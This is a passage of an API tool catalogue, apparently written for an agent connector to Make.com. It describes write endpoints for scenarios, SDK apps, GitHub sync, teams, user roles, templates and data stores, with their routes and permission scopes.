with `IM301`. Absent assignments are accepted no-ops. A processed request returns `200` even when every resource is rejected. POST /api/v1/make/scenario-labels/unassign-scenarios. Scopes: scenarios:write. make_post_scenarios (write) — Creates a new scenario with data passed in the request body. In the response, it returns the details of the created scenario. The blueprint is not returned; retrieve it separately via the Get scenario blueprint endpoint. POST /api/v1/make/scenarios. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_build_variables (write) — Adds new buildtime team or user defined variable/s. Buildtime variables should be prefixed either with a `TAC_` (for team defined variables) or with a `PAC_` (for personal user defined variables), followed by the connection value. If a variable already exists, an error will be thrown. If a variable's name is not within scenario input specification, an error will be thrown. If the adding of new variables was successful the reponse would be `OK`. POST /api/v1/make/scenarios/{scenarioId}/build-variables. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_clone (write) — Clones the specified scenario. The response contains all information about the scenario clone. You have to know which app integrations the scenario contains. You can get a list of apps used in the scenario with the API call `GET /scenarios/{scenarioId}` in the `usedPackages` array. If you are cloning the scenario to a different team and the scenario contains an app module, webhook or data store, you have to either: - map the entity ID to a different entity with the correct properties. For example, you can map an app module connection to a different connection of the same app with the same scopes, or - use the `notAnalyze` query parameter to turn off the scenario clone blueprint analysis. When you turn off the scenario blueprint analysis you can map the entity ID to the `null` value, which omits the entity settings. The scenario blueprint analysis makes sure that the scenario clone will work without further changes. If you turn off the scenario blueprint analysis, check the configuration of all entities in the scenario clone. If you are cloning the scenario to a different team and the scenario contains a custom app or a custom function, which is not available for the users in the team, use the `confirmed` query parameter to confirm cloning of the scenario. Otherwise, you get an error listing the custom function that you have to create in the team. Refer to the request body parameters description and examples for more information. POST /api/v1/make/scenarios/{scenarioId}/clone. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_custom_properties (write) — Fills in custom properties data for the specified scenario. The scenario has to have no custom properties data. The data you fill in has to conform to the current custom scenario properties structure. You have to specify a value for every required item, otherwise you get an error. To update existing data, use the following API calls: - Update custom properties data (./patch--scenarios--scenarioid--custom-properties.md) - Set custom properties data (./put--scenarios--scenarioid--custom-properties.md). POST /api/v1/make/scenarios/{scenarioId}/custom-properties. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_executions_by_executionid_stop (write) — Stops a running execution. Use `force: true` to immediately terminate the execution without waiting for the current module to finish. POST /api/v1/make/scenarios/{scenarioId}/executions/{executionId}/stop. Scopes: scenarios:run. make_post_scenarios_by_scenarioid_notes (write) — Creates a new scenario note with data passed in the request body. As the response, it returns all details of the created scenario note. POST /api/v1/make/scenarios/{scenarioId}/notes. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_publish (write) — This endpoint is set to internal because the scenario drafts feature is available only on the Celonis platform. In Make, this endpoint has no functionality. Original description: Publishes a draft of a scenario with a given ID. In the response, it returns all details of the published scenario. POST /api/v1/make/scenarios/{scenarioId}/publish. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_replay (write) — Replays the specified scenario execution. The scenario has to be active. POST /api/v1/make/scenarios/{scenarioId}/replay. Scopes: scenarios:run. make_post_scenarios_by_scenarioid_restore (write) — Restores a soft-deleted ("trashed") scenario with the given ID back to active, as long as it is still within the 30-day recovery window. The scenario's runnable state (apps, connections, modules, webhook wiring) is re-derived best-effort from its surviving blueprint; if the blueprint references something deleted while the scenario sat in trash, the restore still succeeds and the scenario is flagged with `containsErrors` so it can be fixed by editing. Locked connections and keys the restoring user is not allowed to use are cleared from the restored blueprint rather than blocking the restore: those modules come back with no connection selected, and the scenario is flagged with `containsErrors` because it cannot run until someone selects one. Every module cleared this way is listed in `strippedModules` so the caller can tell the user which modules need a new connection; the list is empty when nothing was cleared. Requires the `scenario edit` permission. Only a scenario that is currently in trash can be restored — an already-active one is rejected with 404, as is a scenario beyond the 30-day window. POST /api/v1/make/scenarios/{scenarioId}/restore. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_run (write) — Runs the specified scenario. The scenario has to be active. If your scenario has required scenario inputs you have to provide the scenario inputs in the request body. If the scenario provides scenario outputs, these are returned in the response. The scenario is not run when its organization or team is paused because an operations or data transfer limit was exceeded. In that case the call returns `429` with the code `IM310`, the same way Make stops scheduling the organization's scenarios. Note: Organization request limits (https://developers.make.com/api-documentation/getting-started/rate-limiting) do not apply for this endpoint. POST /api/v1/make/scenarios/{scenarioId}/run. Scopes: scenarios:read, scenarios:run, scenarios:write. make_post_scenarios_by_scenarioid_start (write) — Activates the specified scenario. Also runs the scenario if the scenario is scheduled to run at regular intervals. Read more about scenario scheduling (https://www.make.com/en/help/scenarios/scheduling-a-scenario). The API call response contains the scenario ID and the scenario `isActive` property set to `true`. POST /api/v1/make/scenarios/{scenarioId}/start. Scopes: scenarios:write. make_post_scenarios_by_scenarioid_stop (write) — Deactivates and stops the specified scenario if the scenario is running. The API call response contains the scenario ID and the scenario `isActive` property set to `false`. POST /api/v1/make/scenarios/{scenarioId}/stop. Scopes: scenarios:write. make_post_scenarios_folders (write) — Creates a new scenario folder with data passed in the request body. As the response, it returns all details of the created scenario folder. POST /api/v1/make/scenarios-folders. Scopes: scenarios:write. make_post_scenarios_folders_move_scenarios (write) — Moves selected scenarios from the specified team into a target folder. Use `targetFolderId: null` to uncategorize them. POST /api/v1/make/scenarios-folders/move-scenarios. Scopes: scenarios:write. make_post_scenarios_folders_reorder (write) — Sets manual positions for direct sibling folders within one parent. Omitted siblings have their position cleared and are listed alphabetically after positioned folders. POST /api/v1/make/scenarios-folders/reorder. Scopes: scenarios:write. make_post_scenarios_modules_consumptions (write) — Retrieves an array of scenarios containing aggregated list of operations, dataTransfer and centicredits per module within a specified time period. POST /api/v1/make/scenarios/modules/consumptions. Scopes: scenarios:read. make_post_scenarios_shared_by_scenarioid (write) — Creates a share of the specified scenario. POST /api/v1/make/scenarios-shared/{scenarioId}. Scopes: scenarios-shared:write, scenarios:read. make_post_scenarios_tools (write) — Creates a new tool with data passed in the request body. In the response, it returns all details of the created scenario including its blueprint. POST /api/v1/make/scenarios/tools. Scopes: scenarios:write. make_post_sdk_apps (write) — Creates a new app with data passed in the request body. In the response, it returns all details of the created app. POST /api/v1/make/sdk/apps. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_app_review_cancel (write) — Leaves the current phase without submitting: `preparing` returns to `dormant` (the draft is kept, so the answers can be restored later), and a submission that is still in review is withdrawn back to editing (`review` → `preparing` — the UI's "Edit submission"). Fails with `409` in any other phase. Only the app's author (or an administrator) may do this. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/app-review/cancel. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_app_review_start (write) — Moves the review from `dormant` to `preparing` and opens the form for editing. On the first new-flow contact with an app that has legacy review data, the draft is seeded best-effort from the legacy review form (API docs link, test scenarios, error-handling scenario). Fails with `409` in any other phase. Only the app's author (or an administrator) may do this. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/app-review/start. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_app_review_submit (write) — Submits the prepared form: the review moves from `preparing` to `review` and enters the automatic step (`reviewStep: auto`). The current draft is snapshotted into `submittedForm` — later draft edits do not change the submitted record. Completeness of the form is the client's responsibility (the readiness gate); the server does not re-validate it. Fails with `409` in any other phase. Only the app's author (or an administrator) may submit. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/app-review/submit. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_base (write) — Set app base configuration. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/base. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_by_sdk_appvisibility (write) — Set App Visibility. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/{SDK_appVisibility}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_clone (write) — Clone App. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/clone. Scopes: sdk-apps:read. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_clone_major (write) — Clones the app to the next major version with the same app name. Requires the "allow_apps" feature flag to be enabled. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/clone-major. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_closedsource (write) — Set App ClosedSource. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/closedsource. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_commit (write) — Commit Changes. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/commit. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints (write) — Creates a new endpoint on the app version. The endpoint starts private and unapproved. By default (`endpointInitMode: example`) its sections (`api`, `inputParameters`, `outputParameters`) and `context` are seeded from a built-in endpoint template; pass `endpointInitMode: blank` to start with empty sections instead. Which template seeds an `example` endpoint is chosen with `templateType`: `regular` (default) is a single-route example, while `universal` is an arbitrary-call example that forwards a caller-supplied method, path, query string, headers and body to the app's API — a `universal` endpoint is additionally created with the `arbitraryCallHint` annotation set. All sections can be edited afterwards via the section endpoints. The `name` must be alphanumeric, start with a letter, be 3 to 128 characters long, unique within the app version, and not a reserved keyword. `attachedAccounts` is optional; every connection it lists must belong to the app, otherwise the request is rejected. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_by_sdk_endpointarchivestatus (write) — Archives or unarchives an endpoint. Archiving is a zone-only flag (never synced to HQ) used to hide endpoints that can no longer be deleted (e.g. on public apps). A public (visible) endpoint cannot be archived — set it private first. Use the path segment `archive` or `unarchive`. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/archive-status/{SDK_endpointArchiveStatus}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_by_sdk_endpointstatus (write) — Marks an endpoint as deprecated or removes the deprecation. Deprecation is a soft flag that can be reflected in the UI. Use the path segment `deprecate` or `undeprecate`. DEPRECATED by Make; prefer the non-deprecated sibling. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/deprecation/{SDK_endpointStatus}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_by_sdk_endpointvisibility (write) — Sets an endpoint public or private. Only public endpoints are compiled into the app's manifest. Use the path segment `public` or `private`. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/visibility/{SDK_endpointVisibility}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_clone (write) — Creates a copy of an existing endpoint under a new name within the same app version. All sections and metadata are copied; the clone always starts private and unapproved. The `newName` must be alphanumeric, start with a letter, be 3 to 128 characters long, and be unique within the app version. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/clone. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_connections (write) — Adds a connection (account) to the endpoint's list of attached connections. The connection must belong to the app, otherwise the request is rejected. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/connections. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_functions (write) — Create Function. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/functions. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_github (write) — Binds the app version to a GitHub repository through a Make GitHub connection. When the repository does not exist yet under the connection's GitHub user, a clean private repository is created (initialized with GitHub's default README only — no app source is pushed; content sync is a separate flow). GitHub's response is authoritative for the stored `owner`, `repoUrl`, `defaultBranch` and `private` values — the optional request fields of the same names are hints only. Re-binding the same `(connection, owner/repo, branch)` combination updates the existing binding instead of failing. Requires a connection whose provider is GitHub, otherwise responds with `400`. Only the app's author (or an administrator) may create bindings. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_github_by_sdk_githubbindingid_pull (write) — Applies the latest commit on the bound branch to the app version. Files whose content differs from the local state are written through the same edit path the SDK editor uses — directly to the component tables on editable apps, or as pending changes (`apps.change`) on approved public apps. Sub-entities that exist only in the repository are created first: modules, RPCs and functions are created under their repository folder names, while connections and webhooks are re-identified by the `$id` in their `metadata.json` (matching the entity's stable external ID) and created with auto-generated names when unknown — this is what makes one repository cloneable into multiple apps. Files that fail to apply (e.g. invalid JSONC) are skipped individually; the rest of the pull proceeds. When the remote HEAD equals the last synced commit the call is a cheap no-op that leaves the stored checksum snapshot untouched (so unpushed local drift stays visible in the diff); a snapshot is only seeded from the local state when the binding does not carry a file-format snapshot yet. On success the binding's sync state (`lastPulledAt`, `lastPulledCommitSha`, `syncStatus`, checksum snapshot, `nameMap`) is updated and returned. Only the app's author (or an administrator) may pull. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github/{SDK_githubBindingId}/pull. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_github_by_sdk_githubbindingid_push (write) — Commits the app version's complete source tree (app sections, readme, icons, modules, RPCs, functions, webhooks, connections) to the bound repository branch as a single commit, using the binding's Make connection for authentication. When the bound repository does not exist yet it is created as a private repository under the connection's GitHub user and initialised with a bootstrap tree. Connection and webhook folders are committed under stable per-binding folder names (`nameMap`) so the repository layout survives renames; each of their `metadata.json` files carries a stable `$id` used to re-identify the entity on later pulls. On success the binding's sync state (`lastPushedAt`, `lastPushedCommitSha`, `syncStatus`, per-file checksum snapshot) is updated and returned. On failure the binding is marked with `syncStatus: error` and `lastError`. Only the app's author (or an administrator) may push. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/github/{SDK_githubBindingId}/push. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_modules (write) — Create Module. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_by_sdk_modulearchivestatus (write) — Set Module Archive Status. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/archive-status/{SDK_moduleArchiveStatus}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_by_sdk_moduledeprecation (write) — Set Module Deprecation. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/deprecation/{SDK_moduleDeprecation}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_by_sdk_modulevisibility (write) — Set Module Visibility. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/visibility/{SDK_moduleVisibility}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_modules_by_sdk_modulename_clone (write) — Creates a duplicate of a module.
    . POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/modules/{SDK_moduleName}/clone. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_opensource (write) — beta, stable
    . POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/opensource. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_review (write) — Request Review. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/review. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_rollback (write) — Rollback Changes. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rollback. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs (write) — Create RPC. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_rpcs_by_sdk_rpcname (write) — Tests the RPC
    . POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/rpcs/{SDK_rpcName}. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_by_sdk_appversion_uninstall (write) — Uninstall App from Organization. POST /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/uninstall. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_connections (write) — Create Connection. POST /api/v1/make/sdk/apps/{SDK_appName}/connections. Scopes: sdk-apps:write. make_post_sdk_apps_by_sdk_appname_webhooks (write) — Create Webhook. POST /api/v1/make/sdk/apps/{SDK_appName}/webhooks. Scopes: sdk-apps:write. make_post_sdk_apps_connections_by_sdk_connectionname_recreate (write) — Recreates an existing app connection and synchronises it with HQ. POST /api/v1/make/sdk/apps/connections/{SDK_connectionName}/recreate. Scopes: sdk-apps:write. make_post_sdk_apps_invites_by_sdk_appinvitetoken (write) — Accept App Invite. POST /api/v1/make/sdk/apps/invites/{SDK_appInviteToken}. Scopes: sdk-apps:write. make_post_teams (write) — Create a new team in the organization with the specified `organizationId`. POST /api/v1/make/teams. Scopes: teams:write. make_post_teams_by_teamid_check_email_is_member (write) — Checks if every given e-mail is an active member of the team. Evaluates to false if any of the input e-mails are not part of the team. This endpoint uses JWT authorization. Please note that JWT authorization is not available in our open API, use tools like Postman for testing. POST /api/v1/make/teams/{teamId}/check-email-is-member. Scopes: organizations:read. make_post_teams_by_teamid_connections_by_connectionid_access_list_users (write) — Adds a user to a connection's access list (entity ACL) with a role. Requires `entity manage` on the connection, and the target user must already be a member of the connection's team. Returns `409` when the user is already on the access list and `400` when they are not a team member or the feature is disabled. POST /api/v1/make/teams/{teamId}/connections/{connectionId}/access-list/users. Scopes: connections:write. make_post_teams_by_teamid_keys_by_keyid_access_list_users (write) — Adds a user to a key's access list (entity ACL) with a role. Requires `entity manage` on the key, and the target user must already be a member of the key's team. Returns `409` when the user is already on the access list and `400` when they are not a team member or the feature is disabled. POST /api/v1/make/teams/{teamId}/keys/{keyId}/access-list/users. Scopes: keys:write. make_post_teams_by_teamid_variables (write) — Creates new team variable. You can check the availability of the custom variables feature with the API call `GET /organizations/{organizationId}` for the organization to which the team belongs. If the API call response contains `"customVariables": true` pair in the `license` object then you have access to the custom variables feature. A successful response contains all information about the new variable. If you don't have the custom variables feature available then the API call returns the error 404. Refer to the Make pricing page (https://www.make.com/en/help/general/pricing-parameters) for Make pricing plans overview. POST /api/v1/make/teams/{teamId}/variables. Scopes: team-variables:write. make_post_templates (write) — Creates a new template with data passed in the request body. In the response, it returns all details of the created template. POST /api/v1/make/templates. Scopes: templates:write. make_post_templates_by_templateid_publish (write) — Publishes a private template with a given ID. In the response, it returns all details of the template. POST /api/v1/make/templates/{templateId}/publish. Scopes: templates:write. make_post_templates_by_templateid_request_approval (write) — Requests approval of the published template with the given IDs of its private and published versions. In the response, it returns all details of the template. POST /api/v1/make/templates/{templateId}/request-approval. Scopes: templates:write. make_post_users_by_userid_user_organization_roles_by_organizationid (write) — Updates the specified user role in the organization. Only organization owners and admins can change the user organization roles. Refer to the Make Help center for a breakdown of the user role permissions (https://www.make.com/en/help/access-management/organizations#organization-roles). Specify the ID of the new role for the user in the request body. Get all available user role IDs and the corresponding user role names with the API call `GET /users/roles`. You cannot change the organization "Owner" with this endpoint. Use the API call to transfer organization ownership (./post--users--userid--user-organization-roles--organizationid--transfer.md) instead. If you send an empty request body, the user with the specified `userId` will be removed from the organization. POST /api/v1/make/users/{userId}/user-organization-roles/{organizationId}. Scopes: user:write. make_post_users_by_userid_user_organization_roles_by_organizationid_transfer (write) — Transfer organization ownership to the user with the specified `userId`. Only organization owner can transfer their ownership to another user. POST /api/v1/make/users/{userId}/user-organization-roles/{organizationId}/transfer. Scopes: user:write. make_post_users_by_userid_user_team_roles_by_teamid (write) — Updates the user role in the team with the specified `teamId`. Get the mapping of the `userRoleId` and the user role `name` with the API call `GET /users/roles`. POST /api/v1/make/users/{userId}/user-team-roles/{teamId}. Scopes: user:write. make_post_users_custom_roles (write) — Creates a new custom organization or team role. Requires the `organization custom roles edit` permission on the organization. POST /api/v1/make/users/custom-roles. Scopes: user:write. make_post_users_me_onboarding_survey (write) — Submits the onboarding survey response for the authenticated user. Optionally pins preferred apps for the user in their organization. POST /api/v1/make/users/me/onboarding-survey. Scopes: user:write. make_post_users_me_pinned_apps (write) — Pins an app for the authenticated user within the specified organization. Accepts both SDK apps (`appName` prefixed with `app#`) and native apps (bare package name). Pins are version-agnostic — the UI always renders the latest available version. Pinning is idempotent — pinning an already-pinned app is a no-op (no error). The app must exist in the catalog; otherwise a 404 is returned. POST /api/v1/make/users/me/pinned-apps. Scopes: apps:write. make_post_users_me_pinned_apps_by_appname_modules (write) — Pins a module under the specified `appName` for the current user in the specified organization. Pins are version-agnostic — the UI always renders the latest available version. The module must belong to the app; otherwise a 404 is returned. Idempotent — pinning an already-pinned module is a no-op. POST /api/v1/make/users/me/pinned-apps/{appName}/modules. Scopes: apps:write. make_post_users_set_ui_settings (write) — Updates the UI settings of the user. POST /api/v1/make/users/set-ui-settings. Scopes: organizations:read. make_post_users_user_organization_roles_by_organizationid_bulk (write) — Removes up to 100 users from an organization in one request. This is the bulk counterpart of `POST /users/{userId}/user-organization-roles/{organizationId}`. List the target users in the request body `userIds` array (duplicates are ignored). Only removal is supported for now: `usersRoleId` must be `null` or omitted. Bulk role assignment is planned but not yet available — sending a non-null `usersRoleId` is rejected with HTTP 400. Only organization owners and admins (permission `organization user add and edit`) can call this endpoint. The operation is all-or-none: it is applied only when every listed user is eligible. If any user is ineligible, nothing is changed and the call fails with `IM019` (HTTP 400) whose response reports every failing user (`userId`, `name`, error `code` and `message`). Removing users that authored connections used by active scenarios, or that own a non-empty private space, needs confirmation. An unconfirmed request that would trigger such side effects fails with `IM004` (HTTP 406) and a payload describing them; re-send with `confirmed=true` (and `deleteConnections` set as desired) to proceed. Available on app zones only. POST /api/v1/make/users/user-organization-roles/{organizationId}/bulk. Scopes: user:write. make_put_admin_sdk_app_review_categories (write) — Replaces the category taxonomy of the new SDK app review form with the posted list. The catalog's source of truth is external (maintained outside Make and pushed here by a sync script), so this endpoint takes the whole list and merges it — it is not a per-category create/update: * an entry whose `slug` is new is created; * an entry whose `slug` already exists has its `name` and display order updated; * an entry whose `slug` was retired by an earlier sync is brought back; * a category or subcategory the list no longer contains is retired — it stops being offered by the form, but is not deleted, so a slug already stored in a review form keeps resolving to its label. A later sync that lists it again revives the same row. Display order is the order of the array (and, for subcategories, of each `subcategories` array). `slug` is optional: when omitted it is derived from the label (diacritics stripped, lowercased, runs of non-alphanumerics collapsed to a dash, so `"Microsoft (Enterprise)"` → `microsoft-enterprise`). Pin an explicit `slug` whenever the label may be reworded later — the slug is the identity stored in review forms, so letting it follow a rename retires the old value and creates a new one instead of relabelling in place. A label with no ASCII alphanumerics at all (e.g. CJK-only) cannot be derived from and is rejected with `400` (IM005); pass a `slug` for it. The operation is idempotent: re-posting an unchanged list reports no changes and sends nothing anywhere, which makes it safe to run on a schedule. An empty array is rejected rather than treated as "retire everything" — that payload is almost always a syncing script whose upstream fetch came back empty. The catalog is platform-global and HQ-mastered. On a multi-zone (HQ-managed) installation the zone that accepts this request computes the diff between the posted list and its catalog and hands the diff to HQ; nothing is applied locally by the request itself. HQ applies the diff to the master copy and broadcasts it to every zone — including this one, which is how the local catalog converges, typically within a second. A read issued immediately after this call may therefore still serve the previous catalog. When HQ cannot be reached the request fails with `503` and nothing was changed anywhere — simply retry. On a single-instance (master mode) installation there is no HQ and the diff is applied locally within the request. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. PUT /api/v1/make/admin/sdk/app-review/categories. Scopes: admin:write, sdk-apps:write. make_put_admin_system_settings_by_key (write) — Edit one system setting. NOT CALLABLE with this connection's API token: every /admin route answers 403 "VPN access only" to any customer; it is on Make's internal network. PUT /api/v1/make/admin/system-settings/{key}. Scopes: admin:write. make_put_data_stores_by_datastoreid_data_by_datastorekeyrecord (write) — Updates a data store record with a given key by passing new data in the request body. It replaces the entire resource with the new values. In the response, this endpoint returns all details of the updated data. PUT /api/v1/make/data-stores/{dataStoreId}/data/{dataStoreKeyRecord}. Scopes: datastores:write. make_put_internal_hooks_by_hookid_data (write) — Updates the stored data and/or associated key ids of a hook using ISC authorization. Only the Executor may call this endpoint — any other caller is rejected with `SC500`, since reaching this route is an integration bug rather than a client-facing access denial. Note: the underlying procedure does not check hook existence up front — an unknown `hookId` fails with `IM002` (its permission check runs against a null team) rather than a dedicated not-found error. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. PUT /api/v1/make/internal/hooks/{hookId}/data. Scopes: organizations:read. make_put_internal_hooks_by_hookid_uid (write) — Updates the external account id associated with a hook using ISC authorization. Passing `null` clears the external account id. Only the Executor may call this endpoint — any other caller is rejected with `SC500`, since reaching this route is an integration bug rather than a client-facing access denial. Note: the underlying procedure does not check hook existence up front — an unknown `hookId` fails with `IM002` (its permission check runs against a null team) rather than a dedicated not-found error. NOT CALLABLE with this connection's API token: the /internal plane is not served on the public API host. PUT /api/v1/make/internal/hooks/{hookId}/uid. Scopes: organizations:read. make_put_scenarios_by_scenarioid_build_variables (write) — Updates team or user defined buildtime variable/s. The endpoint updates and overwrites exsiting records with the newly provided values, meaning any existing buildtime variable which is not provided through the payload will be overwritten. Buildtime variables should be prefixed either with a `TAC_` (for team defined variables) or with a `PAC_` (for personal user defined variables), followed by the connection value. If a variable doesn't exist, it will be added provided that its name is within the scenario input specification. If the updating of variables was successful the reponse would be `OK`. PUT /api/v1/make/scenarios/{scenarioId}/build-variables. Scopes: scenarios:write. make_put_scenarios_by_scenarioid_custom_properties (write) — Sets custom properties data for the specified scenario. Make replaces the original data with the data you send in the request body. You have to specify a value for every required custom properties structure item, otherwise you get an error. The scenario has to have custom property data already. The new data set has to conform to the current custom scenario properties structure. If the initial data is empty, then the API call returns an error. To fill in first values to the custom properties, use the API call to fill in custom properties data (./post--scenarios--scenarioid--custom-properties.md). PUT /api/v1/make/scenarios/{scenarioId}/custom-properties. Scopes: scenarios:write. make_put_scenarios_by_scenarioid_data (write) — Why the docs are internal: It's not clear how to use this EP. The example suggest that the EP can only change the trigger epoch. But the EP's SQL routine and original documentation suggest that the EP is supposed to update any module. I wasn't able to reproduce that use case even with the simplest modules. Furthermore, the EP always returns successful response, even though it didn't update anything. This causes a lot of confusion and frustration ot the users. So until the usage of the EP is clear the docs should be hidden. 2023-06-06, agreed with Ondrej Vesely. Original docs: Sets the module data for a scenario with a given ID by passing new values in the request body. It replaces the entire resource with the new values. In the response, it returns the confirmation if the scenario was updated. PUT /api/v1/make/scenarios/{scenarioId}/data. Scopes: scenarios:write. make_put_scenarios_by_scenarioid_recovery (write) — Saves a scenario recovery snapshot for a given scenario and removes the present one if it exists. scenarioId = 0 is a sentinel for unsaved draft scenarios (no ownership check required). Uses team-scoped storage for cross-team draft isolation. PUT /api/v1/make/scenarios/{scenarioId}/recovery. Scopes: scenarios:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_app_review_form (write) — Overwrites the auto-saved draft of the review form. The whole draft is replaced with the request body, so send the complete current form value on every save (the client auto-saves it debounced). Allowed only while the phase is `preparing` — in any other phase the call fails with `409`. Completeness is not validated here; the client's readiness gate decides when the form can be submitted. Only the app's author (or an administrator) may edit the draft. Available only while the `is_sdk_app_review_enabled` feature flag is on, otherwise responds with `400` (IM903). PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/app-review/form. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_common (write) — Sets the common data for the app based on the parameters passed in the request body. In the response, it returns all details of common data. Common data usually contain sensitive information like API keys or API secrets and these details are shared across all modules. PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/common. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_by_sdk_endpointsection (write) — Writes one endpoint section. The `api` section accepts an object or an array of objects; `scope`, `inputParameters` and `outputParameters` accept an array. On an approved app the write is recorded as a pending change (returned as `change`) instead of being applied immediately. PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/{SDK_endpointSection}. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_endpoints_by_sdk_endpointname_consumable (write) — Sets the centicredits cost formula and its descriptive fields for an endpoint. Requires the `allow_apps_set_consumable` user feature. Omitted fields are cleared (set to null). PUT /api/v1/make/sdk/apps/{SDK_appName}/{SDK_appVersion}/endpoints/{SDK_endpointName}/consumable. Scopes: sdk-apps:write. make_put_sdk_apps_by_sdk_appname_by_sdk_appversion_groups (write) — Available sections: base, 